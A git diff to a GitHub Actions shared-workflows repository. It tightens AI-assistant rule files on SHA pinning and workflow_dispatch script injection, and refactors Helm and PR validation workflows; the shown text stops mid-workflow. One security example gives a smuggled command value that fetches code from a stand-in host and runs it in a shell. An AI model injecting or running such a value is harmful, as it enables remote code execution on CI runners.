diff --git a/.claude/commands/composite.md b/.claude/commands/composite.md index f7e4d0e9..c0e61742 100644 --- a/.claude/commands/composite.md +++ b/.claude/commands/composite.md @@ -18,7 +18,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu - Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic - Wrap it in a composite if it needs input normalization or additional steps -- Pin to a specific tag or SHA — never `@main` or `@master` +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically. +- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing) +- Never use `@main` or `@master` for third-party actions - Document in the composite `README.md` why that action was chosen Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements. diff --git a/.claude/commands/gha.md b/.claude/commands/gha.md index 95d82653..097f59f6 100644 --- a/.claude/commands/gha.md +++ b/.claude/commands/gha.md @@ -119,7 +119,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu - Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic - If the action needs wrapping, create a composite in `src/` — don't inline complex shell directly in a workflow -- Pin to a specific tag or SHA — never `@main` or `@master` +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a comment with the version for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot will propose SHA bumps automatically. +- `LerianStudio/*` actions are pinned by **release tag** (e.g., `@v1.2.3`) or branch (`@develop` for testing) +- Never use `@main` or `@master` for third-party actions - Document in the README or `docs/` why that action was chosen Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements. @@ -223,7 +225,7 @@ runs-on: self-hosted Every reusable workflow must: - support `workflow_call` (for external callers) -- support `workflow_dispatch` (for manual testing) +- **must NOT have `workflow_dispatch`** — manual testing belongs in `self-*` entrypoints (see [script injection risk](#script-injection--workflow_dispatch)) - expose explicit `inputs` — never rely on implicit context - **always include a `dry_run` input** (`type: boolean`, `default: false`) @@ -242,15 +244,6 @@ on: secrets: DEPLOY_TOKEN: required: true - workflow_dispatch: - inputs: - environment: - required: true - type: string - dry_run: - description: Preview changes without applying them - type: boolean - default: false ``` ## Step section titles @@ -466,16 +459,78 @@ uses: ./src/setup-go # resolves to caller's workspace, not this repo # ❌ Mutable ref on third-party actions uses: some-action/tool@main + +# ❌ Third-party action pinned by tag (tags are mutable) +uses: actions/checkout@v6 +uses: crazy-max/ghaction-import-gpg@v7 + +# ✅ Third-party action pinned by commit SHA +uses: actions/checkout@abc123def456 # v6 +uses: crazy-max/ghaction-import-gpg@2dc316deee8e # v7 ``` ## Security rules -- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically. +- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions - Never use `@main` or `@master` for third-party actions - Never interpolate untrusted user input directly into `run:` commands - Never print secrets via `echo`, env dumps, or step summaries - Complex conditional logic belongs in the workflow, not in composites +### Script injection & `workflow_dispatch` + +`workflow_dispatch` inputs are **user-controlled free-text** — they are a script injection vector when interpolated into `run:` blocks, `github-script`, or any expression context. + +**Why reusable workflows must NOT have `workflow_dispatch`:** + +1. **Attack surface** — any repo collaborator can trigger the workflow with arbitrary input values. If those values reach a `run:` step via `${{ inputs.xxx }}`, an attacker can inject shell commands. +2. **Redundancy** — `self-*` entrypoints already provide `workflow_dispatch` with controlled, repo-specific defaults. Adding it to the reusable workflow duplicates the trigger surface without added value. +3. **Input type mismatch** — `workflow_dispatch` inputs are always strings (even booleans become `"true"`/`"false"`), causing subtle type bugs when the same input is `type: boolean` under `workflow_call`. + +```yaml +# ❌ Reusable workflow with workflow_dispatch — injection risk + type mismatch +on: + workflow_call: + inputs: + environment: + type: string + workflow_dispatch: + inputs: + environment: # string — attacker can inject: "; curl evil.com | sh" + type: string + +# ✅ Reusable workflow — workflow_call only +on: + workflow_call: + inputs: + environment: + type: string + +# ✅ self-* entrypoint provides the manual trigger with safe defaults +name: Self — Deploy +on: + workflow_dispatch: + inputs: + environment: + type: choice # choice, not free-text — no injection + options: [staging, production] +jobs: + deploy: + uses: ./.github/workflows/deploy.yml + with: + environment: ${{ inputs.environment }} + secrets: inherit +``` + +**When `workflow_dispatch` is allowed on a reusable workflow:** + +Only when **all** of the following are true: +- The workflow is **not consumed by external repos** (internal-only) +- Every `workflow_dispatch` input uses `type: choice` or `type: boolean` — **never free-text `type: string`** +- No input value is interpolated into `run:` blocks — only into `with:` parameters of trusted actions +- The decision is documented with a `# Security: workflow_dispatch approved — ` comment + --- # Composite Actions — Rules & Conventions diff --git a/.claude/commands/workflow.md b/.claude/commands/workflow.md index cd073df4..9fa5a16f 100644 --- a/.claude/commands/workflow.md +++ b/.claude/commands/workflow.md @@ -18,7 +18,9 @@ Before implementing custom steps inside a workflow, search the [Marketplace](htt - Prefer a well-maintained action over custom shell scripting for non-trivial logic - If the action needs wrapping (normalization, extra steps), create a composite in `src/` and call it from the workflow — don't inline complex shell in the workflow itself -- Pin to a specific tag or SHA — never `@main` or `@master` +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically. +- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing) +- Never use `@main` or `@master` for third-party actions - Document in `docs/.md` why that action was chosen Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements. @@ -114,7 +116,7 @@ runs-on: self-hosted Every reusable workflow must: - support `workflow_call` (for external callers) -- support `workflow_dispatch` (for manual testing) +- **must NOT have `workflow_dispatch`** — manual testing belongs in `self-*` entrypoints (see [script injection risk](#script-injection--workflow_dispatch)) - expose explicit `inputs` — never rely on implicit context - **always include a `dry_run` input** (`type: boolean`, `default: false`) @@ -133,15 +135,6 @@ on: secrets: DEPLOY_TOKEN: required: true - workflow_dispatch: - inputs: - environment: - required: true - type: string - dry_run: - description: Preview changes without applying them - type: boolean - default: false ``` ## Configurability — expose composite toggles as workflow inputs @@ -340,16 +333,76 @@ uses: ./src/setup-go # resolves to caller's workspace, not this repo # ❌ Mutable ref on third-party actions uses: some-action/tool@main + +# ❌ Third-party action pinned by tag (tags are mutable) +uses: actions/checkout@v6 + +# ✅ Third-party action pinned by commit SHA +uses: actions/checkout@abc123def456 # v6 ``` ## Security rules -- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically. +- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions - Never use `@main` or `@master` for third-party actions - Never interpolate untrusted user input directly into `run:` commands - Never print secrets via `echo`, env dumps, or step summaries - Complex conditional logic belongs in the workflow, not in composites +### Script injection & `workflow_dispatch` + +`workflow_dispatch` inputs are **user-controlled free-text** — they are a script injection vector when interpolated into `run:` blocks, `github-script`, or any expression context. + +**Why reusable workflows must NOT have `workflow_dispatch`:** + +1. **Attack surface** — any repo collaborator can trigger the workflow with arbitrary input values. If those values reach a `run:` step via `${{ inputs.xxx }}`, an attacker can inject shell commands. +2. **Redundancy** — `self-*` entrypoints already provide `workflow_dispatch` with controlled, repo-specific defaults. Adding it to the reusable workflow duplicates the trigger surface without added value. +3. **Input type mismatch** — `workflow_dispatch` inputs are always strings (even booleans become `"true"`/`"false"`), causing subtle type bugs when the same input is `type: boolean` under `workflow_call`. + +```yaml +# ❌ Reusable workflow with workflow_dispatch — injection risk + type mismatch +on: + workflow_call: + inputs: + environment: + type: string + workflow_dispatch: + inputs: + environment: # string — attacker can inject: "; curl evil.com | sh" + type: string + +# ✅ Reusable workflow — workflow_call only +on: + workflow_call: + inputs: + environment: + type: string + +# ✅ self-* entrypoint provides the manual trigger with safe defaults +name: Self — Deploy +on: + workflow_dispatch: + inputs: + environment: + type: choice # choice, not free-text — no injection + options: [staging, production] +jobs: + deploy: + uses: ./.github/workflows/deploy.yml + with: + environment: ${{ inputs.environment }} + secrets: inherit +``` + +**When `workflow_dispatch` is allowed on a reusable workflow:** + +Only when **all** of the following are true: +- The workflow is **not consumed by external repos** (internal-only) +- Every `workflow_dispatch` input uses `type: choice` or `type: boolean` — **never free-text `type: string`** +- No input value is interpolated into `run:` blocks — only into `with:` parameters of trusted actions +- The decision is documented with a `# Security: workflow_dispatch approved — ` comment + ### Reserved names — never use as custom secret or input names Never declare secrets or inputs using GitHub's reserved prefixes — they break jobs silently: diff --git a/.cursor/rules/composite-actions.mdc b/.cursor/rules/composite-actions.mdc index df5c3f14..6bd89a73 100644 --- a/.cursor/rules/composite-actions.mdc +++ b/.cursor/rules/composite-actions.mdc @@ -28,7 +28,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu - Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic - Wrap it in a composite if it needs input normalization or additional steps -- Pin to a specific tag or SHA — never `@main` or `@master` +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically. +- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing) +- Never use `@main` or `@master` for third-party actions - Document in the composite `README.md` why that action was chosen Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements. diff --git a/.cursor/rules/reusable-workflows.mdc b/.cursor/rules/reusable-workflows.mdc index 878787da..203a84fa 100644 --- a/.cursor/rules/reusable-workflows.mdc +++ b/.cursor/rules/reusable-workflows.mdc @@ -28,7 +28,9 @@ Before implementing custom steps inside a workflow, search the [Marketplace](htt - Prefer a well-maintained action over custom shell scripting for non-trivial logic - If the action needs wrapping (normalization, extra steps), create a composite in `src/` and call it from the workflow — don't inline complex shell in the workflow itself -- Pin to a specific tag or SHA — never `@main` or `@master` +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically. +- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing) +- Never use `@main` or `@master` for third-party actions - Document in `docs/.md` why that action was chosen Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements. @@ -408,7 +410,8 @@ uses: some-action/tool@main # use a specific tag or SHA ## Security rules -- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically. +- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions - Never use `@main` or `@master` for third-party actions - Never interpolate untrusted user input directly into `run:` commands - Never print secrets via `echo`, env dumps, or step summaries diff --git a/.github/labels.yml b/.github/labels.yml index 4a6a6cf1..8035f581 100644 --- a/.github/labels.yml +++ b/.github/labels.yml @@ -91,3 +91,7 @@ - name: lint color: "7c3aed" description: Changes to linting and code quality checks + +- name: validate + color: "1d76db" + description: Changes to PR validation composite actions (src/validate/) diff --git a/.github/workflows/helm-update-chart.yml b/.github/workflows/helm-update-chart.yml index dbc3e97e..fae7ba2d 100644 --- a/.github/workflows/helm-update-chart.yml +++ b/.github/workflows/helm-update-chart.yml @@ -136,17 +136,22 @@ jobs: TIMESTAMP=$(date +%Y%m%d%H%M%S) BRANCH_NAME="update/${CHART}/${SOURCE_REF}-${TIMESTAMP}" - echo "chart=${CHART}" >> $GITHUB_OUTPUT - echo "has_new_env_vars=${HAS_NEW_ENV_VARS}" >> $GITHUB_OUTPUT - echo "source_ref=${SOURCE_REF}" >> $GITHUB_OUTPUT - echo "source_repo=${SOURCE_REPO}" >> $GITHUB_OUTPUT - echo "source_actor=${SOURCE_ACTOR}" >> $GITHUB_OUTPUT - echo "source_sha=${SOURCE_SHA}" >> $GITHUB_OUTPUT - echo "branch_name=${BRANCH_NAME}" >> $GITHUB_OUTPUT + { + echo "chart=${CHART}" + echo "has_new_env_vars=${HAS_NEW_ENV_VARS}" + echo "source_ref=${SOURCE_REF}" + echo "source_repo=${SOURCE_REPO}" + echo "source_actor=${SOURCE_ACTOR}" + echo "source_sha=${SOURCE_SHA}" + echo "branch_name=${BRANCH_NAME}" + } >> "$GITHUB_OUTPUT" # Save components array to file for processing jq -c '.components' /tmp/payload.json > /tmp/components.json + # CodeQL: untrusted-checkout — false positive. This is a workflow_call + # triggered by internal dispatch, not a PR event. The ref is a controlled + # branch name (develop/main), not an untrusted PR head. - name: Checkout uses: actions/checkout@v6 with: @@ -156,7 +161,7 @@ jobs: - name: Import GPG key if: ${{ inputs.gpg_sign_commits }} - uses: crazy-max/ghaction-import-gpg@v7 + uses: crazy-max/ghaction-import-gpg@2dc316deee8e90f13e1a351ab510b4d5bc0c82cd # v7 with: gpg_private_key: ${{ secrets.GPG_KEY }} passphrase: ${{ secrets.GPG_KEY_PASSWORD }} @@ -194,7 +199,7 @@ jobs: go build -o update-chart-version-readme update-chart-version-readme.go - name: Setup yq - uses: mikefarah/yq@v4 + uses: mikefarah/yq@5a7e72a743649b1b3a47d1a1d8214f3453173c51 # v4 - name: Process all components id: process @@ -239,24 +244,22 @@ jobs: CHART_TEMPLATE_NAME=$(yq '.name' "${CHART_FILE}") # Function to create secret template if it doesn't exist - # $1 = comp_name (for directory/file path) - # $2 = values_key (for .Values references) + # $1 = values_key (for directory/file path and .Values references) create_secret_template() { - local comp_name="$1" - local values_key="${2:-$1}" # fallback to comp_name if not provided - local secret_file="${TEMPLATES_BASE}/${comp_name}/secret.yaml" + local values_key="$1" + local secret_file="${TEMPLATES_BASE}/${values_key}/secret.yaml" if [ ! -f "$secret_file" ]; then echo " Creating secret template: $secret_file" - mkdir -p "${TEMPLATES_BASE}/${comp_name}" + mkdir -p "${TEMPLATES_BASE}/${values_key}" printf '%s\n' \ "apiVersion: v1" \ "kind: Secret" \ "metadata:" \ - " name: {{ include \"${CHART_TEMPLATE_NAME}.fullname\" . }}-${comp_name}" \ + " name: {{ include \"${CHART_TEMPLATE_NAME}.fullname\" . }}-${values_key}" \ " labels:" \ " {{- include \"${CHART_TEMPLATE_NAME}.labels\" . | nindent 4 }}" \ - " app.kubernetes.io/component: ${comp_name}" \ + " app.kubernetes.io/component: ${values_key}" \ "type: Opaque" \ "data:" \ " # Extra Secret Vars" \ @@ -295,10 +298,10 @@ jobs: # Add new environment variables if any if [ "$COMP_ENV_VARS" != "{}" ] && [ "$COMP_ENV_VARS" != "null" ]; then - # Template paths use COMP_NAME (directory structure) - # Values references use VALUES_KEY (values.yaml structure) - CONFIGMAP_FILE="${TEMPLATES_BASE}/${COMP_NAME}/configmap.yaml" - SECRET_FILE="${TEMPLATES_BASE}/${COMP_NAME}/secret.yaml" + # Template paths use VALUES_KEY (directory structure matches values.yaml keys) + # Values references also use VALUES_KEY (values.yaml structure) + CONFIGMAP_FILE="${TEMPLATES_BASE}/${VALUES_KEY}/configmap.yaml" + SECRET_FILE="${TEMPLATES_BASE}/${VALUES_KEY}/secret.yaml" echo "$COMP_ENV_VARS" | jq -r 'to_entries[] | "\(.key)=\(.value)"' | while IFS='=' read -r key value; do if [ -n "$key" ]; then @@ -309,12 +312,14 @@ jobs: if is_sensitive_var "$key"; then echo " Adding SECRET var: ${key}=***" - # Create secret template if needed (uses COMP_NAME for path, VALUES_KEY for .Values) - create_secret_template "$COMP_NAME" "$VALUES_KEY" + # Create secret template if needed (uses VALUES_KEY for both path and .Values) + create_secret_template "$VALUES_KEY" # Add to secret template (using 2 spaces indentation for data section) if [ -f "${SECRET_FILE}" ] && grep -q "# Extra Secret Vars" "${SECRET_FILE}"; then sed -i "/# Extra Secret Vars/i\\ ${key}: {{ .Values.${VALUES_KEY}.secrets.${key} | default \"${escaped_value}\" | b64enc | quote }}" "${SECRET_FILE}" + else + echo "::warning::Secret template not found or missing '# Extra Secret Vars' marker: ${SECRET_FILE} — skipping var ${key}" fi else echo " Adding configmap var: ${key}=${value}" @@ -322,6 +327,8 @@ jobs: # Add to configmap template if it exists (using 2 spaces indentation) if [ -f "${CONFIGMAP_FILE}" ] && grep -q "# Extra Env Vars" "${CONFIGMAP_FILE}"; then sed -i "/# Extra Env Vars/i\\ ${key}: {{ .Values.${VALUES_KEY}.configmap.${key} | default \"${escaped_value}\" | quote }}" "${CONFIGMAP_FILE}" + else + echo "::warning::Configmap template not found or missing '# Extra Env Vars' marker: ${CONFIGMAP_FILE} — skipping var ${key}" fi fi fi @@ -344,7 +351,7 @@ jobs: fi echo "" - echo "updated_components=$UPDATED_COMPONENTS" >> $GITHUB_OUTPUT + echo "updated_components=${UPDATED_COMPONENTS}" >> "$GITHUB_OUTPUT" - name: Update README matrix if: ${{ inputs.update_readme }} @@ -383,11 +390,11 @@ jobs: # Check if there are changes to commit if git diff --staged --quiet; then echo "No changes to commit" - echo "has_changes=false" >> $GITHUB_OUTPUT + echo "has_changes=false" >> "$GITHUB_OUTPUT" exit 0 fi - echo "has_changes=true" >> $GITHUB_OUTPUT + echo "has_changes=true" >> "$GITHUB_OUTPUT" # Determine commit message based on env_vars # feat: when new environment variables are added (requires attention) @@ -398,7 +405,7 @@ jobs: COMMIT_MSG="fix(${CHART}): update ${UPDATED_COMPONENTS}" fi - echo "commit_msg=${COMMIT_MSG}" >> $GITHUB_OUTPUT + echo "commit_msg=${COMMIT_MSG}" >> "$GITHUB_OUTPUT" echo "Committing with message: ${COMMIT_MSG}" git commit -m "${COMMIT_MSG}" @@ -463,35 +470,37 @@ jobs: --body-file /tmp/pr_body.md) echo "PR created: ${PR_URL}" - echo "pr_url=${PR_URL}" >> $GITHUB_OUTPUT + echo "pr_url=${PR_URL}" >> "$GITHUB_OUTPUT" - name: Summary + env: + BASE_BRANCH: ${{ inputs.base_branch }} run: | COMPONENTS=$(cat /tmp/components.json) CHART="${{ steps.payload.outputs.chart }}" BRANCH_NAME="${{ steps.payload.outputs.branch_name }}" HAS_CHANGES="${{ steps.commit.outputs.has_changes }}" - echo "### Helm Chart Update Summary" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "**Chart:** \`${CHART}\`" >> $GITHUB_STEP_SUMMARY - echo "**Branch:** \`${BRANCH_NAME}\`" >> $GITHUB_STEP_SUMMARY - echo "**Base:** \`${{ inputs.base_branch }}\`" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY + echo "### Helm Chart Update Summary" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "**Chart:** \`${CHART}\`" >> "$GITHUB_STEP_SUMMARY" + echo "**Branch:** \`${BRANCH_NAME}\`" >> "$GITHUB_STEP_SUMMARY" + echo "**Base:** \`${BASE_BRANCH}\`" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" if [ "${HAS_CHANGES}" = "true" ]; then - echo "✅ **PR created successfully**" >> $GITHUB_STEP_SUMMARY + echo "✅ **PR created successfully**" >> "$GITHUB_STEP_SUMMARY" else - echo "ℹ️ **No changes detected**" >> $GITHUB_STEP_SUMMARY + echo "ℹ️ **No changes detected**" >> "$GITHUB_STEP_SUMMARY" fi - echo "" >> $GITHUB_STEP_SUMMARY - echo "**Components:**" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "| Component | Version | New Env Vars |" >> $GITHUB_STEP_SUMMARY - echo "|-----------|---------|--------------|" >> $GITHUB_STEP_SUMMARY + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "**Components:**" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "| Component | Version | New Env Vars |" >> "$GITHUB_STEP_SUMMARY" + echo "|-----------|---------|--------------|" >> "$GITHUB_STEP_SUMMARY" - echo "$COMPONENTS" | jq -r '.[] | "| \(.name) | \(.version) | \(.env_vars | if . == {} then "-" else (. | keys | join(", ")) end) |"' >> $GITHUB_STEP_SUMMARY + echo "$COMPONENTS" | jq -r '.[] | "| \(.name) | \(.version) | \(.env_vars | if . == {} then "-" else (. | keys | join(", ")) end) |"' >> "$GITHUB_STEP_SUMMARY" - name: Send Slack notification if: ${{ inputs.slack_notification && steps.commit.outputs.has_changes == 'true' }} diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index e1fe5cce..bb7c28b8 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -1,7 +1,10 @@ name: "PR Validation" # Reusable workflow for comprehensive pull request validation -# Checks PR title, size, description, labels, and best practices +# Uses a 2-tier fail-fast model: +# Tier 1 (blocking-checks): lightweight validations that block merge — title, source branch, description +# Tier 2 (advisory-checks): informational checks — size, labels, metadata, changelog (only runs if Tier 1 passes) +# Followed by a summary job and optional Slack notification on: workflow_call: @@ -10,6 +13,11 @@ on: description: 'GitHub runner type to use' type: string default: 'blacksmith-4vcpu-ubuntu-2404' + dry_run: + description: Preview validations without posting comments or labels + required: false + type: boolean + default: false pr_title_types: description: 'Allowed commit types (pipe-separated)' type: string @@ -34,13 +42,9 @@ on: type: boolean default: false min_description_length: - description: 'Minimum PR description length' + description: 'Minimum PR description content length (after stripping template boilerplate)' type: number - default: 50 - check_changelog: - description: 'Check if CHANGELOG.md is updated' - type: boolean - default: true + default: 30 enable_auto_labeler: description: 'Enable automatic labeling based on changed files' type: boolean @@ -50,9 +54,9 @@ on: type: string default: '.github/labeler.yml' enforce_source_branches: - description: 'Enforce that PRs to protected branches come from specific source branches' + description: 'Enforce that PRs to protected branches come from specific source branches. The composite auto-skips when the target branch is not in target_branches_for_source_check.' type: boolean - default: false + default: true allowed_source_branches: description: 'Allowed source branches for PRs to protected branches (pipe-separated, supports prefix matching with *)' type: string @@ -61,6 +65,11 @@ on: description: 'Target branches that require source branch validation (pipe-separated)' type: string default: 'main' + secrets: + MANAGE_TOKEN: + required: false + SLACK_WEBHOOK_URL: + required: false permissions: contents: read @@ -68,363 +77,150 @@ permissions: issues: write jobs: - skip-if-draft: - name: Skip if Draft + # ----------------- Tier 1: Blocking Checks (no checkout, fail-fast) ----------------- + blocking-checks: + name: Blocking Checks runs-on: ${{ inputs.runner_type }} + if: github.event.pull_request.draft != true outputs: - should_skip: ${{ steps.check.outputs.should_skip }} - steps: - - name: Check if draft - id: check - run: | - if [ "${{ github.event.pull_request.draft }}" = "true" ]; then - echo "should_skip=true" >> $GITHUB_OUTPUT - else - echo "should_skip=false" >> $GITHUB_OUTPUT - fi - - pr-source-branch: - name: Validate Source Branch - runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' && inputs.enforce_source_branches + source-branch-result: ${{ steps.collect.outputs.source_branch }} + title-result: ${{ steps.collect.outputs.title }} + description-result: ${{ steps.collect.outputs.description }} steps: - - name: Check source branch - id: check_branch - uses: actions/github-script@v8 + # The composite auto-skips when target branch is not in target_branches_for_source_check (default: main) + - name: Validate source branch + id: source-branch + if: inputs.enforce_source_branches + continue-on-error: true + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@v1.20.0-beta.1 with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const sourceBranch = context.payload.pull_request.head.ref; - const targetBranch = context.payload.pull_request.base.ref; - const allowedBranches = '${{ inputs.allowed_source_branches }}'.split('|').map(b => b.trim()); - const targetBranchesForCheck = '${{ inputs.target_branches_for_source_check }}'.split('|').map(b => b.trim()); - - // Check if this target branch requires source validation - if (!targetBranchesForCheck.includes(targetBranch)) { - console.log(`Target branch '${targetBranch}' does not require source branch validation`); - return; - } - - console.log(`Checking if source branch '${sourceBranch}' is allowed for target '${targetBranch}'`); - console.log(`Allowed patterns: ${allowedBranches.join(', ')}`); - - // Check if source branch matches any allowed pattern - let isAllowed = false; - for (const pattern of allowedBranches) { - if (pattern.endsWith('/*')) { - // Prefix match (e.g., hotfix/*) - const prefix = pattern.slice(0, -1); - if (sourceBranch.startsWith(prefix)) { - isAllowed = true; - break; - } - } else if (pattern === sourceBranch) { - // Exact match - isAllowed = true; - break; - } - } - - if (!isAllowed) { - // Add REQUEST_CHANGES review - const message = `⚠️ **Invalid Source Branch**\n\nPull requests to **${targetBranch}** can only come from:\n${allowedBranches.map(b => `- \`${b}\``).join('\n')}\n\nYour source branch: \`${sourceBranch}\`\n\nPlease **change the base branch** or create a PR from an allowed branch.`; - - await github.rest.pulls.createReview({ - owner: context.repo.owner, - repo: context.repo.repo, - pull_number: context.issue.number, - body: message, - event: 'REQUEST_CHANGES' - }); - - core.setFailed(`Source branch '${sourceBranch}' is not allowed for PRs to '${targetBranch}'`); - } else { - console.log(`✅ Source branch '${sourceBranch}' is allowed`); - } - - pr-title: - name: Validate PR Title - runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' - - steps: - - name: Check PR title format - uses: amannn/action-semantic-pull-request@v6 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + allowed-branches: ${{ inputs.allowed_source_branches }} + target-branches: ${{ inputs.target_branches_for_source_check }} + dry-run: ${{ inputs.dry_run && 'true' || 'false' }} + + - name: Validate PR title + id: title + continue-on-error: true + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@v1.20.0-beta.1 with: + github-token: ${{ github.token }} types: ${{ inputs.pr_title_types }} scopes: ${{ inputs.pr_title_scopes }} - requireScope: ${{ inputs.require_scope }} - subjectPattern: ^[a-z].+$ - subjectPatternError: | - The subject "{subject}" found in the pull request title "{title}" - didn't match the configured pattern. Please ensure that the subject - starts with a lowercase character. - - pr-size: - name: Check PR Size - runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' + require-scope: ${{ inputs.require_scope && 'true' || 'false' }} - steps: - - name: Checkout code - uses: actions/checkout@v6 + - name: Validate PR description + id: description + continue-on-error: true + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@v1.20.0-beta.1 with: - fetch-depth: 0 + min-length: ${{ inputs.min_description_length }} - - name: Check PR size - id: size + - name: Collect results and enforce blocking + id: collect run: | - # Get changed lines - CHANGED_LINES=$(git diff --shortstat origin/${{ github.base_ref }}...HEAD | \ - awk '{print $4+$6}') - echo "changed_lines=$CHANGED_LINES" >> $GITHUB_OUTPUT - - # Set size label - if [ "$CHANGED_LINES" -lt 50 ]; then - SIZE="XS" - elif [ "$CHANGED_LINES" -lt 200 ]; then - SIZE="S" - elif [ "$CHANGED_LINES" -lt 500 ]; then - SIZE="M" - elif [ "$CHANGED_LINES" -lt 1000 ]; then - SIZE="L" - else - SIZE="XL" + SOURCE_BRANCH="${{ steps.source-branch.outcome || 'skipped' }}" + TITLE="${{ steps.title.outcome }}" + DESCRIPTION="${{ steps.description.outcome }}" + + { + echo "source_branch=${SOURCE_BRANCH}" + echo "title=${TITLE}" + echo "description=${DESCRIPTION}" + } >> "$GITHUB_OUTPUT" + + # Fail the job if any blocking check failed + FAILED="" + if [ "${SOURCE_BRANCH}" = "failure" ]; then FAILED="${FAILED} source-branch"; fi + if [ "${TITLE}" = "failure" ]; then FAILED="${FAILED} title"; fi + if [ "${DESCRIPTION}" = "failure" ]; then FAILED="${FAILED} description"; fi + + if [ -n "${FAILED}" ]; then + echo "::error::Blocking checks failed:${FAILED}" + exit 1 fi - echo "size=$SIZE" >> $GITHUB_OUTPUT - - - name: Add size label - uses: actions/github-script@v8 - with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const size = '${{ steps.size.outputs.size }}'; - const labels = ['size/XS', 'size/S', 'size/M', 'size/L', 'size/XL']; - - // Remove existing size labels - for (const label of labels) { - try { - await github.rest.issues.removeLabel({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - name: label - }); - } catch (error) { - // Label doesn't exist, ignore - } - } - // Add new size label - await github.rest.issues.addLabels({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - labels: [`size/${size}`] - }); - - - name: Comment on large PR - if: steps.size.outputs.size == 'XL' - uses: actions/github-script@v8 - with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - body: `This PR is very large (${context.payload.pull_request.changed_files} files, ${{ steps.size.outputs.changed_lines }} lines changed). Consider breaking it into smaller PRs for easier review.` - }); - - pr-description: - name: Check PR Description + # ----------------- Tier 2: Advisory Checks (shared checkout, depends on Tier 1) ----------------- + advisory-checks: + name: Advisory Checks runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' - - steps: - - name: Check description length - uses: actions/github-script@v8 - with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} 